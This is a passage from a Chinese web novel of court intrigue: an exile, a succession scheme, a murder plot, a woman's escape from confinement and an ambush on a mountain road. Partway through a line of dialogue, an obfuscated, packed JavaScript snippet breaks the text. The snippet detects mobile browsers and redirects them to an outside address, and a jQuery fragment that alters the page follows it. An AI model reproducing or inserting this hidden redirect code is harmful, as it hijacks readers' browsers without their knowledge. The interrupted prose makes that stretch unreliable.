容璟重复这两个字,眼中掠过一丝奇异的光,像是满意,又像是嘲讽:“将军能记得这个身份,很好。不过——说起义兄,姜于归更是顾家的小姐,她的父亲是京兆尹顾守正顾大人。就算要问,也该是顾大人来问,何时轮到你一个外姓的义兄越俎代庖?” 他往前一步,逼近慕容琛,声音压低,却字字清晰如冰锥:“所以——记得是兄长,就该知道兄长该做的,是祝福妹妹婚姻美满,而不是——深夜徘徊在妹婿的庄子外,念念不忘,徒惹非议。” 慕容琛浑身剧震,难以置信地瞪大眼:“你......你监视我?!” “监视?” 容璟轻笑,那笑意却未达眼底:“不过是担心庄子的安全,多派了几个人手而已。没想到,却看到了不该看的东西。” 他顿了顿,目光变得锐利如刀:“慕容琛,我今日把话放在这里。姜于归是我容璟的妻子,生生死死,都是。你那些不该有的念头,最好给我彻底断了。否则......” 他没有说完,但那未尽之言里的威胁与冰冷,让慕容琛如坠冰窟。 “容潜玉!” 慕容琛终于失控,低吼道:“你这个小人!伪君子!当初是我瞎了眼,才会把你当成至交!你设计害我,夺我所爱,如今还要如此折辱她!你就不怕有报应吗?!” 风雪更疾,将他的怒吼撕扯得支离破碎。 容璟却依旧平静,甚至轻轻掸了掸肩头的落雪,语气淡漠得令人心寒:“报应?我容潜玉行事,只问结果,不问报应。至于你......” 他抬眼,看向慕容琛那双充满恨意与痛苦的眼睛,缓缓道:“慕容琛,你不是输给了我,你是输给了你自己。输给了你的天真,你的优柔,还有......你那可笑的,以为情义能胜过权力的妄想。” 说罢,他不再看慕容琛瞬间僵住的神情,转身,踏入茫茫风雪之中。 长青紧随其后,主仆二人的身影,很快消失在宫门外的黑暗里。 慕容琛独自站在风雪中,望着他们消失的方向,一动不动。雪花落满他的肩头,染白了他的鬓发,他却恍若未觉。 耳边反复回荡着容璟最后那句话。 输给了你自己......以为情义能胜过权力的妄想...... 嗬......嗬嗬...... 他忽然低笑起来,笑声凄厉而绝望,混合着风雪声,像一头濒死的野兽在哀嚎。 是啊......他输了。输得一败涂地。 不是输给容璟的算计,而是输给了这吃人的世道,输给了皇权如山,输给了家族责任,输给了......他自己那点可笑的坚持与良知。 他缓缓弯下腰,蹲在地上,将脸深深埋进掌中。滚烫的液体,终于冲破了所有防线,从指缝中汹涌而出,滴落在冰冷的雪地上,迅速凝结成冰。 宫墙巍峨,灯火阑珊。这盛京的除夕夜,风雪依旧,掩埋了多少无声的哭泣与碎裂的魂灵。 而棋局深处,猎手已悄然收网,静待所有猎物,自己走进那精心布置的,名为复仇与毁灭的陷阱。 远处,一辆早已停在暗处的马车里,车帘微微掀起一角。安宁郡主看着雪中那道蜷缩颤抖的身影,又望向容璟消失的方向,唇角缓缓勾起一抹冰冷而满意的弧度。 “果然......都忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148209|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住了。” 她放下车帘,对车夫淡淡道:“回府。” 马车驶离,碾过积雪,留下两行深深的车辙,很快又被新雪覆盖。 这盘棋,越来越有趣了。 而身在城南庄子里的姜于归,对此一无所知。她只是靠在窗边,听着远处隐约传来的,属于盛京除夕的喧嚣,眼中一片空茫的寂静。 雪,还在下。仿佛要下到地老天荒。 二月初二,龙抬头。 盛京的积雪开始消融,檐角冰凌滴滴答答,在青石板上凿出深浅不一的水洼。寒意并未减退,反倒因这潮湿而渗入骨髓,是另一种难捱的料峭。 荣国公府的门庭,较之年前,明显冷清了许多。 往来车马稀疏,拜帖寥寥。偶有同僚路过,也是匆匆颔首,便避瘟神似的绕开。门房老仆缩在厚厚的棉帘后打盹,连呵欠都透着百无聊赖的寂寥。 容璟如今只在礼部挂个协理春闱的虚衔,平素点卯应个景,大半时间都待在府中。 他仿佛真成了个闲散宗亲,每日不是看书,便是临帖,偶尔去园中看看那几株迟迟未发的梅花,神色平静,不见半分失意颓唐。 只是那平静之下,总隐隐透着一股山雨欲来前的,过于死寂的沉着。 长青依旧如影随形,只是往来传递消息的频率,似乎也随着主人的闲散而降低了。 府中下人窃窃私语,都说世子爷这回是真伤了圣心,怕是难再起复了。 这些细微的变化,容璟仿佛浑然未觉。他甚至还颇有闲情地,亲自过问了几桩无关紧要的庶务,比如库房里几件受潮的字画该如何晾晒,又比如后园哪处亭台的栏杆该请匠人加固了。 这反常的安分,落在某些时刻关注着他的人眼里,反倒更添疑虑。 慕容府的书房,炭火烧得比荣国公府旺上许多。 慕容琛正对着一份新送来的北境军报出神。墨迹已干,他却迟迟未落下批注。 自除夕宫宴那场风波后,他在朝中的地位愈发微妙。 炙手可热,是实情。 陛下明里暗里的赏赐,同僚或真心或假意的结交,甚至几家勋贵府邸递来的,意欲结亲的橄榄枝......都如潮水般涌来。 他像被骤然架在烈火上炙烤的鱼,外表焦香诱人,内里却每一寸肌理都在承受着煎熬。 他知道皇帝在看着。那双看似温和实则洞悉一切的眼睛,无时无刻不在评估着他的忠诚,他的分寸。 所以,他必须更谨慎,更疏离,更像个一心报国,心无旁骛的纯臣。 与东宫往来,止乎于礼,与同僚结交,淡泊如水。 可越是如此刻意,心底那片荒芜的空洞便越是清晰。 偶尔夜深人静,他会想起除夕宫宴上,容璟被当众弹劾时那平静无波的眼神,想起风雪宫门外,容璟那句冰冷的你输给了你自己。 不对。 这个念头有时会不受控制地冒出来,像冰层下的暗流。 容潜玉......不该是这样。 那人像一株扎根于权力沼泽最深处的毒藤,惯于在阴影中蜿蜒布局,将猎物无声绞杀。 他或许会为情所困,或许会一时失察,但绝不会如此轻易地,近乎温顺地接受被褫夺权柄,困于方寸之地。 太像......束手就擒了。 可证据呢?容璟交出了田产,认下了私德有亏的指控,甚至对礼部的冷板凳也安之若素。 朝野上下,谁不说荣国公世子此番是真的栽了跟头,折了羽翼? 慕容琛揉了揉发胀的眉心,将那份荒谬的怀疑强行压下。 或许,真是自己多虑了。又或许,容璟那等心性的人,骤然失势,本就是这般不露声色的作态。 他如今自顾不暇,哪有余力去探究旁人的真假虚实。 只是......城南那处庄子,听说守卫依旧森严。她......不知如何了。 这个念头一旦浮现,便带来一阵尖锐的闷痛。他猛地灌下一口早已冷透的浓茶,将那点不合时宜的牵挂,连同喉间的苦涩,一并狠狠咽下。 荣国公府。 气氛却与慕容琛书房里的凝重压抑截然不同,甚至透着一股诡异而压抑的......轻松? 容修远独自坐在窗下,手里捏着一封刚从南边快马加鞭送来的密信。 信纸粗糙,字迹也略显潦草,但内容却让他连日来紧绷的神经,几不可察地松弛了几分。 信是容琅写来的。 那个被他亲手送出盛京,以为此生再难相见的儿子,如今在南边一个偏僻却富庶的镇子上,隐姓埋名,开了间不大不小的绸缎庄。 信中说,生意尚可,衣食无忧,当地无人知晓他的来历。末了,还小心翼翼地询问父亲安好。 容修远将信纸凑近烛火,看着火焰吞噬墨迹,化为灰烬。他脸上没有什么表情,只眼底深处,掠过一丝极其复杂的微光。 当初容璟以冥婚为筹码,逼他默许那场荒唐,换得容琅一条生路。 他恨长子手段酷烈,逼父低头,更恨那场冥婚让容家沦为笑柄。 可如今,看着次子安然无恙的消息,那点恨意里,又掺杂了某种难以言喻的......如释重负。 至少,琅儿还活着。 至于容璟...... 容修远望向窗外灰蒙蒙的天色。 这个长子,自小便与他疏离,心思深沉得让他这个做父亲的都感到心悸。 睿王一案,容璟暗中筹划,将他这个国公爷彻底架空,冥婚之事,更是将他最后一点身为家主的威严踩在脚下。 如今容璟失势,他心中并非没有一丝隐秘的,连自己都不愿承认的快意。 仿佛一直压在头顶的巨石终于松动,让他得以喘息。 所以,当察觉陛下似乎真有弃用容璟,转而扶植其他年轻臣子,甚至隐约有重新考量世子人选之意时,容修远选择了沉默。 他没有为长子奔走,没有在御前求情,甚至......暗中默许了府中一些对容璟不敬的流言。 他像所有精明而现实的勋贵家主一样,在家族这艘大船可能倾覆时,率先考虑的,是砍掉那根最显眼却也最招风的桅杆,保住船体本身。 他甚至悄悄派了心腹,循着容琅信中的线索,暗中送去更多银钱和打点。 这一切,他做得隐秘,却也未曾刻意在容璟面前遮掩。 他知道容璟能猜到。就像容璟当年能猜到他会为了容琅妥协一样。 这是一种无声的宣告,也是一种冰冷的切割。 你既已自身难保,便莫要再指望家族为你遮风挡雨。容家的未来,或许需要另寻出路了。 容修远没有去看容璟对此有何反应。他甚至减少了与长子的见面,仿佛这样就能避开那份无声对峙的尴尬,避开自己内心深处那一点并不光彩的,属于失败父亲的狼狈。 他只是每日依旧去上朝,听着同僚们或明或暗地议论容璟的失势,脸上维持着恰到好处的沉痛与无奈,心中却已开始盘算,若是陛下真要动容璟的世子之位,他该如何应对,如何为容家,也为自己,谋取最大的利益,甚至......如何将那个远在南边的儿子,重新纳入考量的范畴。 这心思阴暗而现实,却也是这高门深院里,最常见的生存法则。 雪水融尽,春寒料峭。盛京的局势,便在这样表面平静,内里暗涌的日子里,一日日地发酵,变化。 无人知晓,那置身风暴眼中心,看似最为落魄的荣国公世子,此刻正独自坐在书房里,指尖缓缓摩挲着一枚冰冷的黑玉棋子。 窗外的日光透过细密的窗纱,在他清隽的侧脸上投下淡淡的阴影。他面前摊开着一卷舆图,并非盛京,也非边境,而是江南水道与几处不起眼的州府。 长青无声地走进来,将一份最新的密报放在他手边。 容璟没有立刻去看,只是抬眼望向窗外那株迟迟未发的梅树,眼底一片深不见底的幽静。 他知道父亲在做什么。知道慕容琛在怀疑什么。知道皇帝在等待什么。也知道,那些隐藏在暗处,以为他已无力反抗的魑魅魍魉,正在如何蠢蠢欲动。 现在,只需要等待。 等待春风彻底吹化冰层,等待水下那些沉不住气的鱼,自己跃出水面。 他极轻地勾了一下唇角,那弧度冰冷而缥缈,转瞬即逝。 然后,他执起那枚黑子,轻轻落在舆图某一处,仿佛只是随意一点,又仿佛......定下了某种无声的杀局。 书房内,寂静无声。唯有更漏滴滴,记录着这看似平静无波,实则暗流已将抵达临界点的,盛京二月天。 二月中,一场突如其来的春雨过后,盛京的空气里终于有了些许泥融草长的湿润气息。 只是这春意尚未真正透进高墙深院,另一场更急的风暴,便已裹挟着冰碴,猝然降临。 这一次容璟的罪名,比前次的私德有亏,滥用职权更要命——涉嫌在去年督办漕运河道修缮款项时,与工部某员外郎勾结,虚报物料,中饱私囊。 数额虽不算巨,却证据“确凿”。 有经手小吏的供词画押,有银钱往来的模糊记录,甚至还有几封模仿得惟妙惟肖,盖着容璟私印的指令抄件。 御书房里,气氛凝重得能拧出水来。 皇帝将一叠证据重重摔在御案上,那张惯常温和的脸上,此刻满是沉痛与失望。他指着跪在下首的容璟,声音因激动而微微发颤。 “潜玉!你......你太让朕失望了!前次朕念你年轻,为情所困,一时糊涂,只稍作惩戒,盼你自省。可你......你竟变本加厉!这等祸国害民之事,你也敢沾染?!你眼里,可还有王法,可还有朕这个君父?!” 容璟伏地,背脊挺直,声音却低哑:“臣......无话可说。” “无话可说?” 皇帝像是被他的平静激怒,猛地站起身,在御案后来回踱步,明黄的袍角带起一阵压抑的风。 “你看看这些!人证,物证,俱在!朕便是想护你,也堵不住这天下悠悠之口!朝中多少双眼睛盯着?御史台的弹劾折子,已经堆了这么高!” 皇帝用手比划了一个高度,胸口剧烈起伏。 他停下脚步,俯视着容璟,眼中情绪复杂翻涌,最终化为一声长长的,疲惫的叹息。 “潜玉啊潜玉......你让朕,如何是好?” 容璟抬起头,脸上血色尽褪,却依旧维持着臣子的恭谨:“臣自知罪孽深重,不敢求陛下宽宥。无论陛下如何处置,臣......绝无怨言。” 皇帝凝视他良久,仿佛在权衡,在挣扎。最终,他重重坐回龙椅,像是用尽了力气,缓缓道。 “朕......终究念着你这些年的功劳,更念着皇室那点血脉亲情。你父亲年纪大了,经不起白发人送黑发人。” 他顿了顿,语气转为一种近乎仁慈的冷酷。 “这样吧。漕运贪墨案,朕会让人继续查,但对外,只说你御下不严,失察之罪。至于你......京官是不能再做了。朕给你选了个地方,江州下辖的平江县,虽偏远清苦些,到底是一县父母官。你去了那里,好好反省,若能造福一方,将来......或许还有回京之日。” 平江县。那是江南道最西端,毗邻蛮荒山岭的穷乡僻壤,县志上写得明白:“地瘠民贫,瘴疠横行”。 从正三品的刑部侍郎,青龙台执令使,到七品县令,且是这等地方——这已不是贬谪,几近流放。 容璟闭了闭眼,再睁开时,眼底只剩一片死水般的平静。 他深深叩首,额头触及冰冷光滑的金砖。 “臣......谢陛下隆恩。陛下保全之恩,臣......没齿难忘。” 皇帝看着他恭顺的背影,眼中那丝复杂终于沉淀为一片深不见底的幽暗。他摆摆手,语气恢复了帝王的疏淡。 “去吧。三日内离京,不必再来辞行了。至于你府中......朕会让人看顾。你好自为之。” 容璟退出御书房时,天色又阴了下来。 铅灰色的云层低低压着宫墙的飞檐,空气中弥漫着雨水将至的土腥气。 他独自走在漫长的宫道上,脚步不疾不徐,背影在空旷的殿宇间显得格外孤峭单薄。 经过一处转角时,他微微侧目,瞥见廊柱后一闪而过的,属于太子近侍的衣角。他没有停留,径直向前。 消息如同惊雷,再次炸响盛京。 这一次,连最后那层圣眷犹在的遮羞布也被彻底撕去。 平江县——那几乎是个有去无回的地方。 朝野上下,再无人怀疑,荣国公世子容璟,是真的完了。 荣国公府内,气氛诡异。 容修远在书房里独自坐了一整夜。 烛火摇曳,映着他脸上深刻而疲惫的皱纹。 他没有悲伤,没有愤怒,只有一种尘埃落定的,混合着隐秘庆幸的沉重。 当皇帝身边的心腹太监不经意地向他透露,陛下问起荣国公府子嗣是否单薄,世子之位关乎国本,需德才兼备者居之时,容修远心中那点蛰伏已久的念头,如同被春雨催发的毒草,疯狂滋长起来。 潜玉......终究是走到这一步了。 也好。 他缓缓吐出一口浊气,唤来最信任的老仆,声音低沉而决断。 “派人去南边,把琅儿......接回来。要快,要隐秘。” 老仆惊愕抬头:“老爷,那三公子他......” 容修远眼中闪过一道冷光,老仆噤声,躬身退下。 容修远走到窗边,望着庭院中那几株在料峭春寒中瑟缩的桃树,心中已开始盘算。 琅儿回来,该如何安置?如何让他名正言顺? 陛下既有暗示,那世子之位......或许,真的该换个人了。 至于潜玉?既然陛下已将他流放,那便是弃子。 一个弃子,如何还能占着世子的名分,挡着琅儿,也挡着容家可能的,新的出路? 瑞霞院里,却是另一番光景。 安宁郡主正在对镜试戴一套新得的红宝石头面,珠光宝气映得她美艳的面容愈发明丽。 贴身侍女战战兢兢地禀报了容璟被贬平江县,国公爷暗中接回容琅的消息。 “啪嗒——” 郡主手中那支赤金镶宝的步摇,直直坠地,在光洁的地砖上磕出清脆的响声,宝石松动,滚落一旁。 她猛地转过身,脸上那慵懒从容的面具彻底碎裂,取而代之的是一种近乎狰狞的震惊与暴怒。 “你说什么?容琅?!他没死?!” 她的声音尖利得刺耳,凤眸中燃烧着熊熊怒火,那怒火里混杂着被愚弄的耻辱,计划被打乱的狂躁,以及......一种更深的,近乎本能的憎恶。 那个卑贱的,敢当众撕破她脸皮的庶子!那个她早就判了死刑,本该悄无声息烂在南边某个角落的蝼蚁! 居然没死?!还被接回来了?!容修远还想让他......取代容璟?! “好......好得很!” 郡主怒极反笑,那笑声冰冷刺骨,带着令人胆寒的戾气。 “容修远!容潜玉!你们父子俩......合起伙来耍我?!” 她想起容琅那日在大厅里怨毒的控诉,想起自己当时如何轻描淡写地判了他死刑,更想起容璟当初那句,我自有分寸的承诺——原来,这就是他的分寸! 一股杀意,如同毒蛇的信子,从她心底最阴暗的角落倏然窜起。 容琅必须死。 他活着,就是对她权威最直接的挑衅。 他若真的成了世子,那她这个曾经默许甚至推动“病故”的嫡母,又将置于何地? 更何况,那个位置......即便她再不喜容璟,那也是她安宁郡主所出的儿子坐过的位置! 一个妾室生的,顶撞过她的贱种,也配?! “去!” 她厉声对心腹嬷嬷道:“给我查清楚!容琅到底在哪里!怎么回来的!沿途......有没有什么意外的可能!” 嬷嬷吓得面无人色,噗通跪地:“郡......郡主!国公爷那边盯得紧,陛下似乎也......也有意......” “陛下?” 郡主冷笑,指甲深深掐进掌心:“陛下要的是容家有个合适的世子,未必非得是容琅!若是容琅福薄,回京路上出了意外,或者回来后又旧疾复发......陛下难道还会为一个死掉的庶子,为难我这个堂妹不成?!” 话虽如此,但她眼底那疯狂的光芒,在触及陛下二字时,终究还是微微凝滞,压下几分。 皇帝的态度,是悬在所有人心头最重的剑。 她可以不顾容修远,却不能不顾皇帝的暗示。 若皇帝真的属意容琅......她此刻动手,便是拂逆圣意。 “先盯着。” 郡主强迫自己冷静下来,声音依旧冰冷:“看看容修远到底想做什么,陛下......又是什么意思。至于容琅......” 她美眸微眯,里面寒光闪烁。 “来日方长。这盛京城,可不是那么好待的地方。” 城南庄子。 春寒似乎比城中更重。积雪化后的泥泞冻了又融,让院子里的青石板路总是湿漉漉,滑腻腻的。 姜于归的消息闭塞了许多,但并非完全隔绝。 送饭的婆子偶尔会低声交谈,庄头与护卫换岗时也会提及几句外面的新鲜事。 容璟被贬为平江县令的消息,便是在一次婆子们抱怨世子爷这一走,咱们这儿的月钱怕是要更迟了的闲谈中,隐约飘入她耳中。 她正坐在窗边,就着昏暗的天光翻看那本早已翻烂的药膳谱。手指无意识地顿在某一页,许久未动。 平江县令? 她脑中飞快地闪过大靖地图——那是极西的苦寒之地,离盛京千里之遥。 那么......她呢? 作为世子夫人,即便不受宠,即便被幽禁在此,按照常理,夫君外放为官,她似乎也应该......跟随上任? 这个念头升起时,她的心脏不受控制地急跳了两下。 不是担忧,不是牵挂,而是一种冰冷的,属于求生本能的算计。 如果跟随上任,路途漫长,山高水远。看守或许会松懈,环境必然陌生。 相较于这被围得铁桶一般,又在盛京天子脚下的庄子,途中逃跑的机会......似乎要大得多。 她甚至开始不动声色地观察,庄子里是否有准备车马,收拾行装的迹象。 她留意送来的饭菜是否有了变化,留意那些护卫交接时是否会提及出发,路程之类的字眼。 一天,两天......三天过去。 没有任何动静。 庄子里依旧死寂,守卫依旧森严,婆子们依旧沉默地送来千篇一律的粗粝饭食。仿佛容璟的被贬,离京,与这座庄子,与她这个人,毫无关系。 姜于归的心,一点点沉下去。 他不打算带她走。 或许,在他眼里,她这个罪魁祸首,红颜祸水,连跟随去那苦寒之地受苦的资格都没有。 又或许,他只是将她彻底遗忘,如同丢弃一件不再合心意的旧物,任其在这荒郊野外的牢笼里自生自灭。 一种被彻底抛弃的寒意,混杂着不甘与屈辱,悄然漫上心头。 但同时,另一个念头却愈发清晰坚定。 他不带她,或许更好。留在这里,她才真正是插翅难逃。而如果他走了,盛京这边的关注是否会转移? 庄子的守备,是否会因主人的远离而出现一丝可乘之机? 就在容璟离京期限最后一日的深夜,庄子里似乎有些不同寻常的轻微骚动。 远处隐约传来马蹄声,似是有人连夜离开。护卫换岗的间隔,似乎比平日略长了一些。 姜于归躺在冰冷的床榻上,睁着眼,在黑暗中静静聆听。她的呼吸平稳,手心却微微沁出冷汗。 机会......或许就在今夜。 她悄然起身,摸黑从包袱里取出那套偷藏了许久的,粗使婆子的灰布衣裳。这是前几日晾晒时,她趁人不备偷偷藏起的。衣裳肥大肮脏,却足以蔽体。 她耐心等待着,直到子时过后,万籁俱寂,连巡夜护卫的脚步声都因倦怠而变得拖沓稀疏。 轻轻推开并未从外反锁的房门,这或许是守卫松懈的一个信号。 她贴着墙根的阴影,像一只无声的猫,朝着记忆中西侧角门的方向挪去。那里有个堆放杂物的柴房,平日只有一个老苍头看管,今夜似乎也格外安静。 就在她即将接近柴房时,前方拐角处忽然传来脚步声和低语! “世子爷天不亮就得出城,吴头儿让咱们后半夜警醒些......” 姜于归浑身一僵,立刻闪身躲进柴房旁一堆废弃的竹筐后面,屏住呼吸。 两个护卫打着哈欠走过,并未停留。 她等脚步声远去,才小心探出头。柴房的门虚掩着,里面传来老苍头粗重的鼾声。 她悄悄潜入,借着门缝透进的微弱月光,迅速找到目标,角落里挂着一件更破旧但厚实些的棉袄,还有一顶边缘破损的毡帽。 她快速换上,将头发胡乱塞进帽子里,脸上早已刻意抹了些灶灰。镜中的人影模糊不清,全然一个瘦小枯槁的粗使仆役。 深吸一口气,她拉开柴房后那扇通往庄子外荒地的,极少开启的小门。门轴发出轻微的“吱呀——”声,在静夜中格外刺耳。 鼾声停了一瞬。 姜于归的心提到了嗓子眼。 好在,那鼾声很快又响了起来,且更沉。 她不再犹豫,侧身挤出门缝,踏入外面冰冷漆黑的夜色中。 没有回头,没有迟疑。 她朝着与盛京相反的方向,深一脚浅一脚地,奔向那片吞噬一切光亮的,未知的荒野。 身后,庄子轮廓渐渐模糊,如同一个正在醒来的,沉默的巨兽。 而前方,是凛冽的夜风,是泥泞的小道,是看不到尽头的,危险与自由并存的黑暗。 雪早已化尽,春寒料峭的夜风刀割般刮过脸颊。姜于归拉紧了身上那件散发着霉味和汗味的破旧棉袄,深一脚浅一脚地踩在冻得硬实的泥泞小道上。 脚步声在寂静的荒野里显得格外清晰,每一声都敲打在她紧绷的神经上。 不能停。 她不知道庄子里的守卫何时会发现异常,不知道容璟离京前是否还有别的安排,甚至不知道这片看似荒芜的野地里,是否还有别的眼睛。 她只能凭着对星斗方位的模糊记忆,朝着南方,那是与平江县大致相反的方向拼命走去。 喉咙干得发疼,肺部因为急促的呼吸和寒冷而刺痛,腿脚早已麻木,只是机械地交替向前。 天色渐渐由浓黑转为一种沉郁的深蓝,远处地平线上泛起一丝极淡的灰白。 必须在天亮前找到藏身之处。 她加快了脚步,目光焦急地扫视着四周。终于,在前方不远处,一片低矮的丘陵脚下,她看到了一片黑黢黢的,像是废弃窑洞或者猎户临时歇脚处的阴影。 她几乎是连滚爬爬地冲了过去。 果然是一个半塌的土窑,入口被枯草和断木半掩着,里面空间不大,却足以容身。一股浓重的土腥味和野兽粪便的气味扑面而来。姜于归顾不上这些,她钻进最里面的角落,用发抖的手将一些散落的枯草拖过来,勉强遮挡住身形。 身体一松懈,极度的疲惫和寒冷便如潮水般袭来。她紧紧蜷缩成一团,牙齿不受控制地打颤。手心,脚底传来火辣辣的疼痛,是奔跑时被粗糙地面和枯枝碎石磨破的。 但她不敢睡,强撑着精神,竖着耳朵听着外面的动静。 远处,似乎隐约传来了几声犬吠,还有模糊的人声,但很快又归于沉寂。也许只是早起农户的动静,也许......是追兵。 时间在冰冷和恐惧中缓慢流淌。窑洞外的天色一点点亮起来,从深蓝到鱼肚白,再到一种阴沉的灰白。今天似乎又是个阴天。 当确认外面至少半个时辰没有任何异常声响后,姜于归才敢稍微放松一点紧绷的脊背。 她摸索着怀中藏起来的银票,这是她全部的家当,也是她能否活下去的关键。 她需要食物,需要水,需要更安全的藏身之所,需要......彻底改变身份,远离盛京。 路还很长。 窑洞外,风似乎小了些。远处传来一两声清脆的鸟鸣,打破了荒野的死寂。 春天,终究还是来了。只是这春寒,依旧刺骨。 姜于归靠在冰冷的土壁上,望着洞口那一方渐渐亮起来的天光,等待着,也筹划着。属于她一个人的,第四次逃亡,在这无人知晓的荒郊破窑里,悄然拉开了序幕。 而盛京那座巨大囚笼的阴影,似乎正随着渐亮的天光,一点点被抛在身后,却又如附骨之疽,不知何时会再次笼罩下来。 112. 第 112 章 雪是后半夜停的。 官道旁的简陋茶棚里,几匹疲惫的马拴在枯树下,打着响鼻,喷出团团白气。 容璟坐在最靠里的位置,面前摆着一碗浑浊的茶水,已凉透了。 他未动,只是望着棚外渐渐放亮的天色,以及远处山峦被积雪勾勒出的冷硬轮廓。 长青侍立在一旁,低声道:“世子,再往前三十里便是驿站,是否......” “不急。”容璟打断他,指尖在粗糙的木桌上无意识地划着什么,目光却投向官道另一端——那是通往京郊庄子的大致方向。 他几乎要以为,自己算错了。或许她真的......认命了? 这个念头只一闪而过,便被他掐灭。不会。他了解她。骨子里的那点东西,烧不尽,浇不灭。 就在此时,茶棚外传来一阵急促的马蹄声,由远及近,打破了清晨的寂静。数匹快马旋风般卷到近前,马上之人皆着寻常布衣,但腰间鼓囊,眼神精悍。 他们勒住马,目光似是不经意地扫过茶棚内。 容璟端起那碗冷茶,凑到唇边,借着碗沿的遮掩,与长青交换了一个极短的眼神。 来了。 几乎是同时,为首那人猛地一挥手,数道寒光自袖中激射而出,直扑容璟面门! 与此同时,其余几人同时拔刀,身形如鬼魅般扑进茶棚! “保护世子!” 长青厉喝一声,早已拔剑在手,迎了上去。茶棚内顿时刀光剑影,桌椅碎裂,碗碟横飞。 那些看似普通的茶客与店家,竟也瞬间暴起,抽出藏匿的兵刃,与刺客战作一团——显然,这也是容璟事先布下的人手。 容璟依旧坐着,甚至将那碗冷茶慢慢饮尽。他眼皮都未抬一下,仿佛周遭的生死搏杀只是无关紧要的背景杂音。 厮杀惨烈而短暂。刺客虽悍勇,但容璟准备的人手更多,更精锐。 不过片刻,地上已倒了数具尸体,血腥气混杂着茶水的馊味,弥漫开来。 长青一剑刺穿最后一名刺客的咽喉,鲜血喷溅在他冷硬的侧脸上。 他收剑回鞘,快步回到容璟身边,气息微乱:“世子,解决了。一共七人,都是死士,身上没有标识。” 容璟放下茶碗,碗底与木桌磕碰,发出轻微一响。他站起身,掸了掸衣袍上并不存在的灰尘,目光落在那些尸体上,深不见底。 “走。” 他率先向外走去,步履沉稳,仿佛刚才的刺杀只是一场无关痛痒的插曲。 马车重新上路,只是车厢内多了几分未散的血腥气。 容璟靠坐在软垫上,闭目养神。长青驾车,车轮碾过积雪覆盖的官道,发出单调的咯吱声。 约莫行了十余里,前方是一段狭窄的山道,一侧是陡峭的山壁,另一侧则是被积雪覆盖,深不见底的悬崖。 风声在此处变得尖利,卷起雪沫,扑打在车壁上。 突然,拉车的骏马发出一声凄厉的嘶鸣,前蹄猛地扬起,车厢剧烈颠簸! 紧接着,山道两侧的雪堆骤然炸开,十数道黑影如同从地底钻出,手中劲弩齐发,箭矢破空之声尖啸而来,直射车厢! “有埋伏!” 长青怒吼,挥剑格挡,但箭矢太密,几支漏网之鱼狠狠钉入车壁,其中一支穿透车厢薄板,擦着容璟的肩头飞过,带起一道血痕。 这一次的伏击,比茶棚那次更突然,更致命。 箭雨过后,那些黑影已挥舞着兵刃扑了上来,招招狠辣,直取要害。 长青带着剩余护卫拼死抵挡,但对方人数占优,又占了地利,不过几个回合,已有护卫倒下。 容璟终于动了。 他拔出腰间长剑,剑光如雪,格开一柄劈向长青后脑的弯刀,反手刺入偷袭者的心口。动作干净利落,没有半分拖沓,眼神冷冽如冰。 然而,更多的刺客涌了上来。他们似乎接受了前一次失败的教训,这次的目标明确——不惜代价,击杀容璟。 混战中,容璟的马车被逼到了悬崖边缘。车轮碾过松动的积雪和碎石,半边车厢已然悬空。 就在这时,异变再生! 山道另一端,忽然传来急促的马蹄声和呼喝,一队约莫二十人的骑兵疾驰而来,甲胄鲜明,手中持着制式军弩,不由分说便朝着刺客群中发射!箭矢精准,瞬间放倒数人。 刺客首领见状,眼中闪过狠色,不再理会其他人,拼着硬挨长青一剑,合身扑向容璟,手中短刃直刺他心口! 容璟侧身闪避,脚下却是一滑——那块崖边的石头本就松动,经不起这般力道。 “世子!”长青目眦欲裂,想要扑救已来不及。 容璟的身影,连同那块崩落的碎石,朝着悬崖下方那被厚厚积雪和浓雾遮蔽的深渊,直坠下去。 几乎在容璟遭遇第一波刺杀的同时,距离官道数十里外的一条偏僻小路上,一辆破旧的牛车正吱吱呀呀地行进着。 姜于归缩在车尾的稻草堆里,身上裹着一件从庄子里带出来的半旧棉袄,头上包着块灰扑扑的头巾,只露出一双疲惫却警惕的眼睛。 赶车的是个头发花白的老汉,姓陈,是她在上一个集镇用仅剩的几个铜板雇的,说好了送到三十里外的柳树镇。 牛车走得慢,晃晃悠悠。姜于归昨夜几乎没合眼,谋划路线,收拾行囊,避开守卫......此刻在这单调的颠簸和寒意中,困意如同潮水般阵阵袭来。 她强撑着,可眼皮越来越重,头一点一点,终于,意识模糊过去。 她做了一个短暂而混乱的梦。 梦里是盛京除夕的喧嚣火光,是容璟冰冷的眼睛,是慕容琛痛苦的嘶吼...... 最后定格在庄子窗外那株枯死的槐树,枝桠在风雪中摇晃,像要抓住什么。 猛地一个颠簸,她惊醒过来,心脏狂跳。掀开头巾一角往外看,天色已近黄昏,雪又零零星星飘了起来,而四周的景象却陌生得很。 不是预想中柳树镇该有的市集模样,反而更加荒凉,远处隐约可见官道的轮廓。 “老伯!” 她心中一惊,连忙探身向前:“这是哪儿?不是去柳树镇吗?” 陈老汉回过头,布满皱纹的脸上有些歉意:“闺女,你醒啦?对不住啊,我看你睡得沉,到了柳树镇喊你两声你没应,我这儿正好接到个急信,得拐去前头的李家坳送趟货,等不及了。我想着反正你也要找地方落脚,李家坳也有客栈,就先往这边走了。本想等你醒了再说的......” 姜于归的心沉了下去。李家坳?她飞快回想自己记下的粗略舆图,那地方......似乎离官道更近,而且方向...... 她声音有些发紧:“老伯,李家坳是不是......往官道那边去的?” “是啊。” 陈老汉点头:“顺这条小路再走七八里,就能上官道岔口了。闺女你别急,到了李家坳,我再帮你问问有没有去柳树镇或者别处的车......” 姜于归闭了闭眼,压下心头的焦躁和一丝不妙的预感。 不能再坐这车了。她原本的计划就是尽量远离官道,避开可能搜寻的耳目,现在阴差阳错,反而更靠近那条最危险的路。 她当机立断,从怀里摸出仅剩的几枚铜钱,塞到老汉手里:“老伯,就在这儿停吧。多谢您捎我这一段,剩下的路我自己走。” 